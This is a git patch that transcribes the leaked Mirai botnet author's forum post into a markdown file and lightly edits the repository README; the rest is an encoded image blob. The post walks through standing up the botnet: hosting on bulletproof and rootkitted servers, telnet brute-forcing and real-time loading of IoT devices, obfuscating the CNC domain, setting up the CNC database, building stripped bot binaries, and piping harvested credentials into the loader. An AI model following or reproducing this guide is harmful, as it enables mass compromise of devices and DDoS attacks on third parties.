From db41dc87347e4ea0849a35e6c5666e682956009d Mon Sep 17 00:00:00 2001 From: Sam Gleske Date: Mon, 24 Oct 2016 10:19:47 -0700 Subject: [PATCH] Transcribe post to markdown while preserving original. I have made no attempts at fixing grammar or changing the phrasing. I _only_ modified formatting while preserving the original meaning and context. I also added links within source which are helpful when reading. Limit spacing to 80 characters for readability on the terminal. This makes it more readable on the GitHub website. supersedes #7 closes #5 --- ForumPost.md | 240 +++++++++++++++++++++++++++++++++++++ README.md | 8 +- scripts/images/BVc7qJs.png | Bin 0 -> 44644 bytes 3 files changed, 246 insertions(+), 2 deletions(-) create mode 100644 ForumPost.md create mode 100644 scripts/images/BVc7qJs.png diff --git a/ForumPost.md b/ForumPost.md new file mode 100644 index 0000000..a8df173 --- /dev/null +++ b/ForumPost.md @@ -0,0 +1,240 @@ +* Original quote from: [Anna-senpai](https://hackforums.net/showthread.php?tid=5420472) +* Date posted: Fri 30 Sep 19:50:52 UTC 2016 +* [See original archived post](ForumPost.txt) + +# Preface + +Greetz everybody, + +When I first go in DDoS industry, I wasn't planning on staying in it long. I +made my money, there's lots of eyes looking at IOT now, so it's time to GTFO. +However, I know every skid and their mama, it's their wet dream to have +something besides qbot. + +So today, I have an amazing release for you. With Mirai, I usually pull max 380k +bots from telnet alone. However, after the Kreb DDoS, ISPs been slowly shutting +down and cleaning up their act. Today, max pull is about 300k bots, and +dropping. + +So, I am your senpai, and I will treat you real nice, my hf-chan. + +And to everyone that thought they were doing anything by hitting my CNC, I had +good laughs, this bot uses domain for CNC. It takes 60 seconds for all bots to +reconnect, lol + +Also, shoutout to this blog post by malwaremustdie + +* http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html +* https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html + <- backup in case low quality reverse engineer unixfreaxjp decides to edit his + posts lol + +Had a lot of respect for you, thought you were good reverser, but you +really just completely and totally failed in reversing this binary. "We still +have better kung fu than you kiddos" don't make me laugh please, you made so +many mistakes and even confused some different binaries with my. LOL + +Let me give you some slaps back - + +1. port `48101` is not for back connect, it is for control to prevent multiple + instances of bot running together +2. `/dev/watchdog` and `/dev/misc` are not for "making the delay", it for + preventing system from hanging. This one is low-hanging fruit, so sad that + you are extremely dumb +3. You failed and thought `FAKE_CNC_ADDR` and `FAKE_CNC_PORT` was real CNC, lol + "And doing the backdoor to connect via HTTP on 65.222.202.53". you got + tripped up by signal flow ;) try harder skiddo +4. Your skeleton tool sucks ass, it thought the attack decoder was "sinden + style", but it does not even use a text-based protocol? CNC and bot + communicate over binary protocol +5. you say 'chroot("/") so predictable like torlus' but you don't understand, + some others kill based on cwd. It shows how out-of-the-loop you are with real + malware. Go back to skidland + +5 slaps for you + +Why are you writing reverse engineer tools? You cannot even correctly reverse in +the first place. Please learn some skills first before trying to impress others. +Your arrogance in declaring how you "beat me" with your dumb kung-fu statement +made me laugh so hard while eating my SO had to pat me on the back. + +Just as I forever be free, you will be doomed to mediocracy forever. + + +# Requirements + +### Bare Minimum + +2 servers: 1 for CNC + mysql, 1 for scan receiver, and 1+ for loading + +### Pro Setup (my setup) + +2 VPS and 4 servers + +* 1 VPS with extremely bulletproof host for database server +* 1 VPS, rootkitted, for scanReceiver and distributor +* 1 server for CNC (used like 2% CPU with 400k bots) +* 3x 10gbps NForce servers for loading (distributor distributes to 3 servers + equally) + + +# Infrastructure Overview + +* To establish connection to CNC, bots resolve a domain + ([`resolv.c`](mirai/bot/resolv.c)/[`resolv.h`](mirai/bot/resolv.h)) and + connect to that IP address +* Bots brute telnet using an advanced SYN scanner that is around 80x faster than + the one in qbot, and uses almost 20x less resources. When finding bruted + result, bot resolves another domain and reports it. This is chained to a + separate server to automatically load onto devices as results come in. +* Bruted results are sent by default on port 48101. The utility called + scanListen.go in tools is used to receive bruted results (I was getting around + 500 bruted results per second at peak). If you build in debug mode, you should + see the utitlity scanListen binary appear in debug folder. + +Mirai uses a spreading mechanism similar to self-rep, but what I call +"real-time-load". Basically, bots brute results, send it to a server listening +with `scanListen` utility, which sends the results to the loader. This loop +(`brute -> scanListen -> load -> brute`) is known as real time loading. + +The loader can be configured to use multiple IP address to bypass port +exhaustion in linux (there are limited number of ports available, which means +that there is not enough variation in tuple to get more than 65k simultaneous +outbound connections - in theory, this value lot less). I would have maybe 60k - +70k simultaneous outbound connections (simultaneous loading) spread out across 5 +IPs. + +# Configuring Bot + +Bot has several configuration options that are obfuscated in `table.c/table.h`. +In [`./mirai/bot/table.h`](mirai/bot/table.h) you can find most descriptions for +configuration options. However, in [`./mirai/bot/table.c`](mirai/bot/table.c) +there are a few options you *need* to change to get working. + +* `TABLE_CNC_DOMAIN` - Domain name of CNC to connect to - DDoS avoidance very + fun with mirai, people try to hit my CNC but I update it faster than they can + find new IPs, lol. Retards :) +* `TABLE_CNC_PORT` - Port to connect to, its set to 23 already +* `TABLE_SCAN_CB_DOMAIN` - When finding bruted results, this domain it is + reported to +* `TABLE_SCAN_CB_PORT` - Port to connect to for bruted results, it is set to + `48101` already. + +In [`./mirai/tools`](mirai/tools) you will find something called enc.c - You +must compile this to output things to put in the table.c file + +Run this inside mirai directory + + ./build.sh debug telnet + +You will get some errors related to cross-compilers not being there if you have +not configured them. This is ok, won't affect compiling the enc tool + +Now, in the `./mirai/debug` folder you should see a compiled binary called enc. +For example, to get obfuscated string for domain name for bots to connect to, +use this: + + ./debug/enc string fuck.the.police.com + +The output should look like this + + XOR'ing 20 bytes of data... + \x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22 + +To update the `TABLE_CNC_DOMAIN` value for example, replace that long hex string +with the one provided by enc tool. Also, you see `XOR'ing 20 bytes of data`. +This value must replace the last argument tas well. So for example, the table.c +line originally looks like this + + add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com + +Now that we know value from enc tool, we update it like this + + add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22", 20); // fuck.the.police.com + +Some values are strings, some are port (uint16 in network order / big endian). + +# Configuring CNC + + apt-get install mysql-server mysql-client + +CNC requires database to work. When you install database, go into it and run +following commands: http://pastebin.com/86d0iL9g (ref: +[`db.sql`](scripts/db.sql)) + +This will create database for you. To add your user, + + INSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, ''); + +Now, go into file [`./mirai/cnc/main.go`](mirai/cnc/main.go) + +Edit these values + + const DatabaseAddr string = "127.0.0.1" + const DatabaseUser string = "root" + const DatabasePass string = "password" + const DatabaseTable string = "mirai" + +To the information for the mysql server you just installed + + +# Setting Up Cross Compilers + +Cross compilers are easy, follow the instructions at this link to set up. You +must restart your system or reload .bashrc file for these changes to take +effect. + +http://pastebin.com/1rRCc3aD (ref: +[`cross-compile.sh`](scripts/cross-compile.sh)) + +# Building CNC+Bot + +The CNC, bot, and related tools: + +1. http://santasbigcandycane.cx/mirai.src.zip - *THESE LINKS WILL NOT LAST + FOREVER, 2 WEEKS MAX - BACK IT UP!*
+ ![mirai.src.zip contents](scripts/images/BVc7qJs.png) +2. http://santasbigcandycane.cx/loader.src.zip - *THESE LINKS WILL NOT LAST + FOREVER, 2 WEEKS MAX - BACK IT UP!* + +### How to build bot + CNC + +In mirai folder, there is [`build.sh`](mirai/build.sh) script. + + ./build.sh debug telnet + +Will output debug binaries of bot that will not daemonize and print out info +about if it can connect to CNC, etc, status of floods, etc. Compiles to +`./mirai/debug` folder + + ./build.sh release telnet + +Will output production-ready binaries of bot that are extremely stripped, small +(about 60K) that should be loaded onto devices. Compiles all binaries in format: +`mirai.$ARCH` to `./mirai/release` folder + + +# Building Echo Loader + +Loader reads telnet entries from STDIN in following format: + + ip:port user:pass + +It detects if there is wget or tftp, and tries to download the binary using +that. If not, it will echoload a tiny binary (about 1kb) that will suffice as +wget. + + ./build.sh + +Will build the loader, optimized, production use, no fuss. If you have a file in +formats used for loading, you can do this + + cat file.txt | ./loader + +Remember to `ulimit`! + +Just so it's clear, I'm not providing any kind of 1 on 1 help tutorials or shit, +too much time. All scripts and everything are included to set up working botnet +in under 1 hours. I am willing to help if you have individual questions (how +come CNC not connecting to database, I did this this this blah blah), but not +questions like "My bot not connect, fix it" diff --git a/README.md b/README.md index a228f10..8c1c70c 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,8 @@ Leaked Linux.Mirai Source Code for Research/IoT Development Purposes Uploaded for research purposes and so we can develop IoT and such. -See "ForumPost.txt" for the post in which it leaks, if you want to know how it is all set up and the likes. +See "ForumPost.txt" or [ForumPost.md](ForumPost.md) for the post in which it +leaks, if you want to know how it is all set up and the likes. ## Requirements * gcc @@ -13,7 +14,10 @@ See "ForumPost.txt" for the post in which it leaks, if you want to know how it i * mysql-client ## Credits + [Anna-senpai](https://hackforums.net/showthread.php?tid=5420472) ## Disclaimer -This repository is for academic purposes, the use of this software is your responsibility. + +This repository is for academic purposes, the use of this software is your +responsibility. diff --git a/scripts/images/BVc7qJs.png b/scripts/images/BVc7qJs.png new file mode 100644 index 0000000000000000000000000000000000000000..7cea138687ebd89867e70c057484044ca256cd12 GIT binary patch literal 44644 zcmb@tV|!g+xW=0{ZPM6Q+cdVFGKb4g%teUx0s} zUkpPaAihF~3-K$urk3>zPc8hDpY^+7C(lnI6k$c% zOGe>Tcz$GP%1mE!@@#UCsE?nMRV&5Ew%U(*<2z6Br)#2JTX=cXts3Cp2hBL@4&lF6=}f&cqu1?BnW zWm3{64q4#Kw}30vGG)c!ZoB5;_ou$t^;fEwiG#l6K}!NZB6o58=sFFe*o zR8hV9ouL7W3t1ShSi0_I_blbo$J=W;2B-*4Ebb4X&RH$YC+V0wJLh zby-tj;NeH?8#QXZ+-RbZ1wv9nHSn}nhKN5XU&jCa`}fKKS3pqkaIuC=Bqw@dK~-XE zS4c^zNT;2b@9mi>o=RoRK1rj|%Z=jy^DN|!>t{-C?iMlkWqJ4cp*V_I0~;N)v328` zUC%!g=CxaAXWCo8sUVtHBS9c6<&s)eOC9YY;sE5W{H-|=ta|Xz+YfVjk|28Ah=10r zOGT|#W*+mjT1|0Q7b;6v^^2C`JgSWpW}QmjtB1>E0mvk3b{08d8gA97n3&3jtyXS_ zT2!YG%cr+3JcF&dcMa(Er&Nbe3cxt!z1Lp=UWr_*TV7pOK?TbqRNBkO=;XzM?AM1* zsfwQDfKs6UX~j;Tbv;+sj~E|s4*bZeOWLljIz{219zuz!^#v=2BWOt4!S$APcNWEY>E4W@kkZFr~fyG8|tL zn-AoUnpg6fQ;Qnn3*v^$Bb1fm3Amgu_A`8@+I@WTWzs@RN~l7!kuflOEh<|3`Xcbm z=F15p@Yu$tcLhw+n3n3SQY^F~d|n?46oz7_Tc+Iq(AGcSxbw8XK2i;X=u8%?jf$e| zL&CxgrgFul66yVbWnqYyx=-?^N$fB6dFE%gSgk1EZcbKw4BD>=yxCNjT%I_sFwBcn zU)JkV>mD<@u)%LyCP=C?%n`o6zK&d)74!QRUf<5hIoX~eAz>6>>=bMaaK{u^h7^X3 z=0&JNyMRU(saAcL<$GZUw)nw;DFi$eTQND>pYlG5Qqm4Tl}HJBNS zimG@mWYSa$Eo-sy^2$+UlCnLT^KF`!F$8eFW>o+d!P6SxAfya8$2k7yYI3PnjZy*ifjdDs9x;J zdviNNhD~Nfj*sS@SItisH180cmHllaE2HO=Z`F<}Ub8gP($cC@FFQ;ScT?imro&o0 zgpME=hM#rYm?hzc@D=g%UK$hYP72j<6G}iA{>I9hKq{TA%a|l4B_)++QmcM>d70&W zx+EkbviI~-5ond;a=xZjc*8Vg2CpuD%0DDaI5wsuhwlA&NCq4XkUv`IjKMpDMQ^uY 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 